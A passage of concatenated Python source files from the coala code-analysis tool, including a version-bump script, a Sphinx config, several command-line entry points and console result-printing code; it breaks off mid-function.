    parser = argparse.ArgumentParser(
        description="This program allows rewriting a version file. It checks "
                    "if the new version is a valid successor of the existent "
                    "one and overwrites the version file accordingly.")
    parser.add_argument(dest="version_file", type=str)
    parser.add_argument("--build", "-b", type=int)
    parser.add_argument("--new-version", "-n", type=str)
    parser.add_argument("--release", "-r", action="store_true")
    args = parser.parse_args()
    if not args.release and args.build is None:
        parser.error("--build must be given for development versions.")

    return args


def get_valid_version(old_version_string, new_version_string):
    old_version = old_version_string.split(".")
    old_major, old_minor, old_micro = map(int, old_version[:3])

    if new_version_string:
        new_version = new_version_string.split(".")
        assert len(new_version) == 3, ("A new version must consist of "
                                       "exactly 3 integers (e.g. 0.1.1).")
        new_major, new_minor, new_micro = map(int, new_version)
        jump_valid = ((new_major == old_major and
                       new_minor in (old_minor+1, old_minor)) or
                      (new_major == old_major+1 and new_minor == 0))
        assert jump_valid, "Invalid version jump."
        assert (((new_minor in (0, old_minor+1)) and new_micro == 0) or
                (new_minor == old_minor
                 and new_micro in (old_micro,
                                   old_micro+1))), "Invalid version jump."

        old_major, old_minor, old_micro = new_major, new_minor, new_micro

    return str(old_major), str(old_minor), str(old_micro)


if __name__ == '__main__':
    args = get_args()

    with open(args.version_file, "r") as file:
        version_string = file.readline().strip()
    version = get_valid_version(version_string, args.new_version)

    version_string = ".".join(version)
    if not args.release:
        version_string += ".dev" + str(args.build)

    with open(args.version_file, "w") as file:
        file.write(version_string+"\n")






#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# coala documentation build configuration file, created by
# sphinx-quickstart on Wed Feb  3 16:49:01 2016.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

import sys
import os

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
sys.path.insert(0, os.path.abspath('../'))

# Import for version information
from coalib.misc.Constants import VERSION

# -- General configuration ------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
    'sphinx.ext.autodoc',
]

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'

# The encoding of source files.
#source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = 'coala'
copyright = '2016, The coala Developers'
author = 'The coala Developers'

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = VERSION
# The full version, including alpha/beta/rc tags.
release = VERSION

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']

# The reST default role (used for this markup: `text`) to use for all
# documents.
#default_role = None

# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []

# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False

# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = False


# -- Options for HTML output ----------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.
html_theme = 'sphinx_rtd_theme'

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}

# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
#html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
#html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = []

# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
#html_domain_indices = True

# If false, no index is generated.
#html_use_index = True

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None

# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
#   'da', 'de', 'en', 'es', 'fi', 'fr', 'h', 'it', 'ja'
#   'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr'
#html_search_language = 'en'

# A dictionary with options for the search language support, empty by default.
# Now only 'ja' uses this config value
#html_search_options = {'type': 'default'}

# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#html_search_scorer = 'scorer.js'

# Output file base name for HTML help builder.
htmlhelp_basename = 'coaladoc'

# -- Options for LaTeX output ---------------------------------------------

latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#'papersize': 'letterpaper',

# The font size ('10pt', '11pt' or '12pt').
#'pointsize': '10pt',

# Additional stuff for the LaTeX preamble.
#'preamble': '',

# Latex figure (float) alignment
#'figure_align': 'htbp',
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
#  author, documentclass [howto, manual, or own class]).
latex_documents = [
    (master_doc, 'coala.tex', 'coala Documentation',
     'The coala Developers', 'manual'),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False

# If true, show page references after internal links.
#latex_show_pagerefs = False

# If true, show URL addresses after external links.
#latex_show_urls = False

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
#latex_domain_indices = True


# -- Options for manual page output ---------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    (master_doc, 'coala', 'coala Documentation',
     [author], 1)
]

# If true, show URL addresses after external links.
#man_show_urls = False


# -- Options for Texinfo output -------------------------------------------

# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
#  dir menu entry, description, category)
texinfo_documents = [
    (master_doc, 'coala', 'coala Documentation',
     author, 'coala', 'One line description of project.',
     'Miscellaneous'),
]

# Documents to append as an appendix to all manuals.
#texinfo_appendices = []

# If false, no module index is generated.
#texinfo_domain_indices = True

# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'

# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False






# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU Affero General Public License as published by the
# Free Software Foundation, either version 3 of the License, or (at your
# option) any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Affero General Public License
# for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

import functools

from pyprint.ConsolePrinter import ConsolePrinter

from coalib.coala_main import run_coala
from coalib.output.ConsoleInteraction import (
    print_results_no_input, print_section_beginning)


def main():
    console_printer = ConsolePrinter()
    partial_print_sec_beg = functools.partial(
        print_section_beginning,
        console_printer)
    results, exitcode, _ = run_coala(
        autoapply=False,
        print_results=print_results_no_input,
        print_section_beginning=partial_print_sec_beg)

    return exitcode


if __name__ == '__main__':  # pragma: no cover
    main()






import os
import platform

import pip
from pyprint.ConsolePrinter import ConsolePrinter

from coalib import VERSION
from coalib.misc.Exceptions import get_exitcode
from coalib.output.Interactions import fail_acquire_settings
from coalib.output.printers.LogPrinter import LogPrinter
from coalib.output.printers.LOG_LEVEL import LOG_LEVEL
from coalib.processes.Processing import execute_section, simplify_section_result
from coalib.settings.ConfigurationGathering import gather_configuration
from coalib.misc.Caching import FileCache
from coalib.misc.CachingUtilities import (
    settings_changed, update_settings_db, get_settings_hash)

do_nothing = lambda *args: True


def run_coala(log_printer=None,
              print_results=do_nothing,
              acquire_settings=fail_acquire_settings,
              print_section_beginning=do_nothing,
              nothing_done=do_nothing,
              autoapply=True,
              arg_parser=None,
              arg_list=None):
    """
    This is a main method that should be usable for almost all purposes and
    reduces executing coala to one function call.

    :param log_printer:             A LogPrinter object to use for logging.
    :param print_results:           A callback that takes a LogPrinter, a
                                    section, a list of results to be printed,
                                    the file dict and the mutable file diff
                                    dict.
    :param acquire_settings:        The method to use for requesting settings.
                                    It will get a parameter which is a
                                    dictionary with the settings name as key
                                    and a list containing a description in [0]
                                    and the names of the bears who need this
                                    setting in all following indexes.
    :param print_section_beginning: A callback that will be called with a
                                    section name string whenever analysis of a
                                    new section is started.
    :param nothing_done:            A callback that will be called with only a
                                    log printer that shall indicate that
                                    nothing was done.
    :param autoapply:               Set to False to autoapply nothing by
                                    default; this is overridable via any
                                    configuration file/CLI.
    :param arg_list:                The CLI argument list.
    :return:                        A dictionary containing a list of results
                                    for all analyzed sections as key.
    """
    log_printer = (
        LogPrinter(ConsolePrinter(), LOG_LEVEL.DEBUG) if log_printer is None
        else log_printer)

    exitcode = 0
    results = {}
    file_dicts = {}
    try:
        yielded_results = yielded_unfixed_results = False
        did_nothing = True
        sections, local_bears, global_bears, targets = gather_configuration(
            acquire_settings,
            log_printer,
            autoapply=autoapply,
            arg_parser=arg_parser,
            arg_list=arg_list)

        log_printer.debug("Platform {} -- Python {}, pip {}, coalib {}"
                          .format(platform.system(), platform.python_version(),
                                  pip.__version__, VERSION))

        config_file = os.path.abspath(str(sections["default"].get("config")))

        settings_hash = get_settings_hash(sections)
        flush_cache = bool(sections["default"].get("flush_cache", False) or
                           settings_changed(log_printer, settings_hash))

        disable_caching = bool(sections["default"].get(
            "disable_caching", False))
        cache = None
        if not sections["default"].get("disable_caching", False):
            cache = FileCache(log_printer, os.getcwd(), flush_cache)

        for section_name, section in sections.items():
            if not section.is_enabled(targets):
                continue

            print_section_beginning(section)
            section_result = execute_section(
                section=section,
                global_bear_list=global_bears[section_name],
                local_bear_list=local_bears[section_name],
                print_results=print_results,
                cache=cache,
                log_printer=log_printer)
            yielded, yielded_unfixed, results[section_name] = (
                simplify_section_result(section_result))

            yielded_results = yielded_results or yielded
            yielded_unfixed_results = (
                yielded_unfixed_results or yielded_unfixed)
            did_nothing = False

            file_dicts[section_name] = section_result[3]

        update_settings_db(log_printer, settings_hash)
        if cache:
            cache.write()

        if did_nothing:
            nothing_done(log_printer)
        elif yielded_unfixed_results:
            exitcode = 1
        elif yielded_results:
            exitcode = 5
    except BaseException as exception:  # pylint: disable=broad-except
        exitcode = exitcode or get_exitcode(exception, log_printer)

    return results, exitcode, file_dicts






#!/usr/bin/env python3

# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU Affero General Public License as published by the
# Free Software Foundation, either version 3 of the License, or (at your
# option) any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Affero General Public License
# for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

import sys

import dbus
import dbus.mainloop.glib
from coalib.misc import Constants
from coalib.output.dbus.DbusServer import DbusServer
from gi.repository import GLib


def sys_clean_exit():
    sys.exit(0)


def on_disconnected():
    return GLib.idle_add(sys_clean_exit)


def main():
    dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)

    session_bus = dbus.SessionBus()
    # The BusName needs to be saved to a variable, if it is not saved - the
    # Bus will be closed.
    dbus_name = dbus.service.BusName(  # pylint: disable=unused-variable
        Constants.BUS_NAME,
        session_bus)
    DbusServer(session_bus,
               '/org/coala_analyzer/v1',
               on_disconnected=on_disconnected)

    mainloop = GLib.MainLoop()
    mainloop.run()


if __name__ == '__main__':  # pragma: no cover
    main()






# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU Affero General Public License as published by the
# Free Software Foundation, either version 3 of the License, or (at your
# option) any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Affero General Public License
# for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

import functools

from pyprint.ConsolePrinter import ConsolePrinter

from coalib.coala_main import run_coala
from coalib.misc.Exceptions import get_exitcode
from coalib.collecting.Collectors import filter_capabilities_by_languages
from coalib.output.ConsoleInteraction import (
    acquire_settings, nothing_done, print_results, print_section_beginning,
    show_bears, show_language_bears_capabilities)
from coalib.output.printers.LogPrinter import LogPrinter
from coalib.parsing.DefaultArgParser import default_arg_parser
from coalib.settings.ConfigurationGathering import get_filtered_bears


def main():
    try:
        console_printer = ConsolePrinter()
        log_printer = LogPrinter(console_printer)
        # Note: We parse the args here once to check whether to show bears or
        # not.
        args = default_arg_parser().parse_args()

        if args.show_bears:
            local_bears, global_bears = get_filtered_bears(
                args.filter_by_language, log_printer)

            show_bears(local_bears,
                       global_bears,
                       args.show_description or args.show_details,
                       args.show_details,
                       console_printer)

            return 0
        elif args.show_capabilities:
            local_bears, global_bears = get_filtered_bears(
                args.filter_by_language, log_printer)
            capabilities = filter_capabilities_by_languages(
                local_bears, args.show_capabilities)
            show_language_bears_capabilities(capabilities, console_printer)

            return 0

    except BaseException as exception:  # pylint: disable=broad-except
        return get_exitcode(exception, log_printer)

    partial_print_sec_beg = functools.partial(
        print_section_beginning,
        console_printer)
    results, exitcode, _ = run_coala(
        print_results=print_results,
        acquire_settings=acquire_settings,
        print_section_beginning=partial_print_sec_beg,
        nothing_done=nothing_done)

    return exitcode


if __name__ == '__main__':  # pragma: no cover
    main()






import sys
from os.path import join, dirname


VERSION_FILE = join(dirname(__file__), "VERSION")


def get_version():
    with open(VERSION_FILE, 'r') as ver:
        return ver.readline().strip()


VERSION = get_version()
__version__ = VERSION

# Needed by setup.py and thus cannot live in Constants as it contains the
# appdirs import that will break setup if appdirs isn't available yet.
BUS_NAME = "org.coala_analyzer.v1"


def assert_supported_version():  # pragma: no cover
    if not sys.version_info > (3, 3):
        print("coala supports only python 3.4 or later.")
        exit(4)






# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU Affero General Public License as published by the
# Free Software Foundation, either version 3 of the License, or (at your
# option) any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Affero General Public License
# for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

from coalib.coala_main import run_coala
from coalib.output.ConsoleInteraction import print_results_formatted


def main():
    results, exitcode, _ = run_coala(print_results=print_results_formatted)

    return exitcode


if __name__ == '__main__':  # pragma: no cover
    main()






import os

from pyprint.ConsolePrinter import ConsolePrinter

from coalib.output.printers.LogPrinter import LogPrinter
from coalib.parsing import Globbing
from coalib.settings.ConfigurationGathering import get_config_directory
from coalib.settings.Section import Section
from coalib.parsing.Globbing import glob_escape


def main(log_printer=None, section: Section=None):
    start_path = get_config_directory(section)
    log_printer = (LogPrinter(ConsolePrinter()) if log_printer is None
                   else log_printer)

    if start_path is None:
        return 255

    # start_path may have unintended glob characters
    orig_files = Globbing.glob(os.path.join(
        glob_escape(start_path), '**', '*.orig'))

    not_deleted = 0
    for ofile in orig_files:
        log_printer.info("Deleting old backup file... "
                         + os.path.relpath(ofile))
        try:
            os.remove(ofile)
        except OSError as oserror:
            not_deleted += 1
            log_printer.warn("Couldn't delete {}. {}".format(
                os.path.relpath(ofile), oserror.strerror))

    if not_deleted:
        log_printer.warn(str(not_deleted) + " .orig backup files could not be"
                         " deleted, possibly because you lack the permission"
                         " to do so. coala may not be able to create"
                         " backup files when patches are applied.")
    return 0


if __name__ == '__main__':  # pragma: no cover
    main()






# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU Affero General Public License as published by the
# Free Software Foundation, either version 3 of the License, or (at your
# option) any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Affero General Public License
# for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

import json

from coalib.coala_main import run_coala
from coalib.misc.DictUtilities import inverse_dicts
from coalib.misc.Exceptions import get_exitcode
from coalib.output.JSONEncoder import create_json_encoder
from coalib.output.printers.ListLogPrinter import ListLogPrinter
from coalib.parsing.DefaultArgParser import default_arg_parser
from coalib.settings.ConfigurationGathering import get_filtered_bears


def main():
    # Note: We parse the args here once to find the log printer to use.
    #       Also, commands like -h (help) and -v (version) are executed here.
    #       The args are again parsed later to find the settings and configs
    #       to use during analysis.
    arg_parser = default_arg_parser()
    args = arg_parser.parse_args()

    log_printer = None if args.text_logs else ListLogPrinter()
    JSONEncoder = create_json_encoder(use_relpath=args.relpath)
    results = []

    if args.show_bears:
        try:
            local_bears, global_bears = get_filtered_bears(
                args.filter_by_language, log_printer)
            bears = inverse_dicts(local_bears, global_bears)
            for bear, _ in sorted(bears.items(),
                                  key=lambda bear_tuple:
                                  bear_tuple[0].name):
                results.append(bear)
        except BaseException as exception:  # pylint: disable=broad-except
            return get_exitcode(exception, log_printer)
    else:
        results, exitcode, _ = run_coala(
            log_printer=log_printer, autoapply=False)

    retval = {"bears": results} if args.show_bears else {"results": results}
    if not args.text_logs:
        retval["logs"] = log_printer.logs
    if args.output:
        filename = str(args.output[0])
        with open(filename, 'w+') as fp:
            json.dump(retval, fp,
                      cls=JSONEncoder,
                      sort_keys=True,
                      indent=2,
                      separators=(',', ': '))
    else:
        print(json.dumps(retval,
                         cls=JSONEncoder,
                         sort_keys=True,
                         indent=2,
                         separators=(',', ': ')))

    return 0 if args.show_bears else exitcode


if __name__ == '__main__':  # pragma: no cover
    main()






from termcolor import colored

try:
    # This import has side effects and is needed to make input() behave nicely
    import readline  # pylint: disable=unused-import
except ImportError:  # pragma: no cover
    pass
import os.path

from pyprint.ConsolePrinter import ConsolePrinter

from coalib.misc.DictUtilities import inverse_dicts
from coalib.bearlib.spacing.SpacingHelper import SpacingHelper
from coalib.results.Result import Result
from coalib.results.result_actions.ApplyPatchAction import ApplyPatchAction
from coalib.results.result_actions.OpenEditorAction import OpenEditorAction
from coalib.results.result_actions.PrintDebugMessageAction import (
    PrintDebugMessageAction)
from coalib.results.result_actions.PrintMoreInfoAction import (
    PrintMoreInfoAction)
from coalib.results.result_actions.ShowPatchAction import ShowPatchAction
from coalib.results.RESULT_SEVERITY import (
    RESULT_SEVERITY, RESULT_SEVERITY_COLORS)
from coalib.settings.Setting import Setting

from pygments import highlight
from pygments.formatters import (TerminalTrueColorFormatter,
                                 TerminalFormatter)
from pygments.filters import VisibleWhitespaceFilter
from pygments.lexers import TextLexer, get_lexer_for_filename
from pygments.style import Style
from pygments.token import Token
from pygments.util import ClassNotFound


class BackgroundSourceRangeStyle(Style):
    styles = {
        Token: 'bold bg:#BB4D3E #111'
    }


class BackgroundMessageStyle(Style):
    styles = {
        Token: 'bold bg:#eee #111'
    }


def highlight_text(text, lexer=TextLexer(), style=None):
    if style:
        formatter = TerminalTrueColorFormatter(style=style)
    else:
        formatter = TerminalTrueColorFormatter()
    return highlight(text, lexer, formatter)[:-1]


STR_GET_VAL_FOR_SETTING = ("Please enter a value for the setting \"{}\" ({}) "
                           "needed by {}: ")
STR_LINE_DOESNT_EXIST = ("The line belonging to the following result "
                         "cannot be printed because it refers to a line "
                         "that doesn't seem to exist in the given file.")
STR_PROJECT_WIDE = "Project wide:"
FILE_NAME_COLOR = "blue"
FILE_LINES_COLOR = "blue"
CAPABILITY_COLOR = "green"
HIGHLIGHTED_CODE_COLOR = 'red'
SUCCESS_COLOR = 'green'
REQUIRED_SETTINGS_COLOR = 'green'
CLI_ACTIONS = (OpenEditorAction(),
               ApplyPatchAction(),
               PrintDebugMessageAction(),
               PrintMoreInfoAction(),
               ShowPatchAction())
DIFF_EXCERPT_MAX_SIZE = 4


def format_lines(lines, line_nr=""):
    return '\n'.join("|{:>4}| {}".format(line_nr, line)
                     for line in lines.rstrip("\n").split('\n'))


def print_section_beginning(console_printer, section):
    """
    Will be called after initialization current_section in
    begin_section()

    :param console_printer: Object to print messages on the console.
    :param section:         The section that will get executed now.
    """
    console_printer.print("Executing section {name}...".format(
        name=section.name))


def nothing_done(log_printer):
    """
    Will be called after processing a coafile when nothing had to be done,
    i.e. no section was enabled/targeted.

    :param log_printer: A LogPrinter object.
    """
    log_printer.warn("No existent section was targeted or enabled. "
                     "Nothing to do.")


def acquire_actions_and_apply(console_printer,
                              log_printer,
                              section,
                              file_diff_dict,
                              result,
                              file_dict,
                              cli_actions=None):
    """
    Acquires applicable actions and applies them.

    :param console_printer: Object to print messages on the console.
    :param log_printer:     Printer responsible for logging the messages.
    :param section:         Name of section to which the result belongs.
    :param file_diff_dict:  Dictionary containing filenames as keys and Diff
                            objects as values.
    :param result:          A derivative of Result.
    :param file_dict:       A dictionary containing all files with filename as
                            key.
    :param cli_actions:     The list of cli actions available.
    """
    cli_actions = CLI_ACTIONS if cli_actions is None else cli_actions
    failed_actions = set()
    while True:
        actions = []
        for action in cli_actions:
            if action.is_applicable(result, file_dict, file_diff_dict):
                actions.append(action)

        if actions == []:
            return

        action_dict = {}
        metadata_list = []
        for action in actions:
            metadata = action.get_metadata()
            action_dict[metadata.name] = action
            metadata_list.append(metadata)

        # User can always choose no action which is guaranteed to succeed
        if not ask_for_action_and_apply(log_printer,
                                        console_printer,
                                        section,
                                        metadata_list,
                                        action_dict,
                                        failed_actions,
                                        result,
                                        file_diff_dict,
                                        file_dict):
            break


def print_lines(console_printer,
                file_dict,
                section,
                sourcerange):
    """
    Prints the lines between the current and the result line. If needed
    they will be shortened.

    :param console_printer: Object to print messages on the console.
    :param file_dict:       A dictionary containing all files as values with
                            filenames as key.
    :param sourcerange:     The SourceRange object referring to the related
                            lines to print.
    """
    for i in range(sourcerange.start.line, sourcerange.end.line + 1):
        # Print affected file's line number in the sidebar.
        console_printer.print(format_lines(lines='', line_nr=i),
                              color=FILE_LINES_COLOR,
                              end='')

        line = file_dict[sourcerange.file][i - 1].rstrip("\n")
        try:
            lexer = get_lexer_for_filename(sourcerange.file)
        except ClassNotFound:
            lexer = TextLexer()
        lexer.add_filter(VisibleWhitespaceFilter(
            spaces="•", tabs=True,
            tabsize=SpacingHelper.DEFAULT_TAB_WIDTH))
        # highlight() combines lexer and formatter to output a ``str``
        # object.
        printed_chars = 0
        if i == sourcerange.start.line and sourcerange.start.column:
            console_printer.print(highlight_text(
                line[:sourcerange.start.column-1], lexer), end='')

            printed_chars = sourcerange.start.column-1

        if i == sourcerange.end.line and sourcerange.end.column:
            console_printer.print(highlight_text(
                line[printed_chars:sourcerange.end.column-1],
                lexer, BackgroundSourceRangeStyle), end='')

            console_printer.print(highlight_text(
                line[sourcerange.end.column-1:], lexer), end='')
            console_printer.print("")

        else:
            console_printer.print(highlight_text(
                line[printed_chars:], lexer), end='')
            console_printer.print("")


def print_result(console_printer,
                 log_printer,
                 section,
                 file_diff_dict,
                 result,
                 file_dict,
                 interactive=True):
    """
    Prints the result to console.

    :param console_printer: Object to print messages on the console.
    :param log_printer:     Printer responsible for logging the messages.
    :param section:         Name of section to which the result belongs.
    :param file_diff_dict:  Dictionary containing filenames as keys and Diff
                            objects as values.
    :param result:          A derivative of Result.
    :param file_dict:       A dictionary containing all files with filename as
                            key.
    :interactive:           Variable to check wether or not to
                            offer the user actions interactively.
    """
    if not isinstance(result, Result):
        log_printer.warn("One of the results can not be printed since it is "
                         "not a valid derivative of the coala result "
                         "class.")
        return

    console_printer.print(format_lines("[{sev}] {bear}:".format(
        sev=RESULT_SEVERITY.__str__(result.severity), bear=result.origin)),
        color=RESULT_SEVERITY_COLORS[result.severity])
    lexer = TextLexer()
    result.message = highlight_text(result.message, lexer,
                                    BackgroundMessageStyle)
    console_printer.print(format_lines(result.message))

    if interactive:
        cli_actions = CLI_ACTIONS
        show_patch_action = ShowPatchAction()
        if show_patch_action.is_applicable(result, file_dict, file_diff_dict):
            diff_size = sum(len(diff) for diff in result.diffs.values())
            if diff_size <= DIFF_EXCERPT_MAX_SIZE:
                show_patch_action.apply_from_section(result,
                                                     file_dict,
                                                     file_diff_dict,
                                                     section)
                cli_actions = tuple(action for action in cli_actions
                                    if not isinstance(action, ShowPatchAction))
            else:
                print_diffs_info(result.diffs, console_printer)
        acquire_actions_and_apply(console_printer,
                                  log_printer,
                                  section,
                                  file_diff_dict,
                                  result,
                                  file_dict,
                                  cli_actions)


def print_diffs_info(diffs, printer):
    for filename, diff in sorted(diffs.items()):
        additions, deletions = diff.stats()
        printer.print(
            format_lines("+{additions} -{deletions} in {file}".format(
                file=filename,
                additions=additions,
                deletions=deletions)),
            color='green')


def print_results_formatted(log_printer,
                            section,
                            result_list,
                            *args):
    format_str = str(section.get(
        "format_str",
        "id:{id}:origin:{origin}:file:{file}:line:{line}:column:"
        "{column}:end_line:{end_line}:end_column:{end_column}:severity:"
        "{severity}:severity_str:{severity_str}:message:{message}"))
    for result in result_list:
        severity_str = RESULT_SEVERITY.__str__(result.severity)
        try:
            if len(result.affected_code) == 0:
                print(format_str.format(file=None,
                                        line=None,
                                        end_line=None,
                                        column=None,
                                        end_column=None,
                                        severity_str=severity_str,
                                        **result.__dict__))
                continue

            for range in result.affected_code:
                print(format_str.format(file=range.start.file,
                                        line=range.start.line,
                                        end_line=range.end.line,
                                        column=range.start.column,
                                        end_column=range.end.column,
                                        severity_str=severity_str,
                                        **result.__dict__))
        except KeyError as exception:
            log_printer.log_exception(
                "Unable to print the result with the given format string.",
                exception)


def print_affected_files(console_printer,
                         log_printer,
                         section,
                         result,
                         file_dict,
                         color=True):
    """
    Print all the afected files and affected lines within them.

    :param console_printer: Object to print messages on the console.
    :param log_printer:     Printer responsible for logging the messages.
    :param section:         The section to which the results belong to.
    :param result_list:     List containing the results
    :param file_dict:       A dictionary containing all files with filename as
                            key.
    :param color:           Boolean variable to print the results in color or
                            not. Can be used for testing.
    """
    if len(result.affected_code) == 0:
        console_printer.print("\n" + STR_PROJECT_WIDE,
                              color=FILE_NAME_COLOR)
    else:
        for sourcerange in result.affected_code:
            if (
                    sourcerange.file is not None and
                    sourcerange.file not in file_dict):
                log_printer.warn("The context for the result ({}) cannot "
                                 "be printed because it refers to a file "
                                 "that doesn't seem to exist ({})"
                                 ".".format(result, sourcerange.file))
            else:
                print_affected_lines(console_printer,
                                     file_dict,
                                     section,
                                     sourcerange)


def print_results_no_input(log_printer,
                           section,
                           result_list,
                           file_dict,
                           file_diff_dict,
                           color=True):
    """
    Print all non interactive results in a section

    :param log_printer:    Printer responsible for logging the messages.
    :param section:        The section to which the results belong to.
    :param result_list:    List containing the results
    :param file_dict:      A dictionary containing all files with filename as
                           key.
    :param file_diff_dict: A dictionary that contains filenames as keys and
                           diff objects as values.
    :param color:          Boolean variable to print the results in color or
                           not. Can be used for testing.
    """
    console_printer = ConsolePrinter(print_colored=color)
    for result in result_list:

        print_affected_files(console_printer,
                             log_printer,
                             section,
                             result,
                             file_dict,
                             color=color)

        print_result(console_printer,
                     log_printer,
                     section,
                     file_diff_dict,
                     result,
                     file_dict,
                     interactive=False)


def print_results(log_printer,
                  section,
                  result_list,
                  file_dict,
                  file_diff_dict,
                  color=True):
    """
    Print all the results in a section.

    :param log_printer:    Printer responsible for logging the messages.
    :param section:        The section to which the results belong to.
    :param result_list:    List containing the results
    :param file_dict:      A dictionary containing all files with filename as
                           key.
    :param file_diff_dict: A dictionary that contains filenames as keys and
                           diff objects as values.
    :param color:          Boolean variable to print the results in color or
                           not. Can be used for testing.
    """
    console_printer = ConsolePrinter(print_colored=color)

    for result in sorted(result_list):

        print_affected_files(console_printer,
                             log_printer,
                             section,
                             result,
                             file_dict,
                             color=color)

        print_result(console_printer,
                     log_printer,
                     section,
                     file_diff_dict,
                     result,
                     file_dict)


def print_affected_lines(console_printer, file_dict, section, sourcerange):
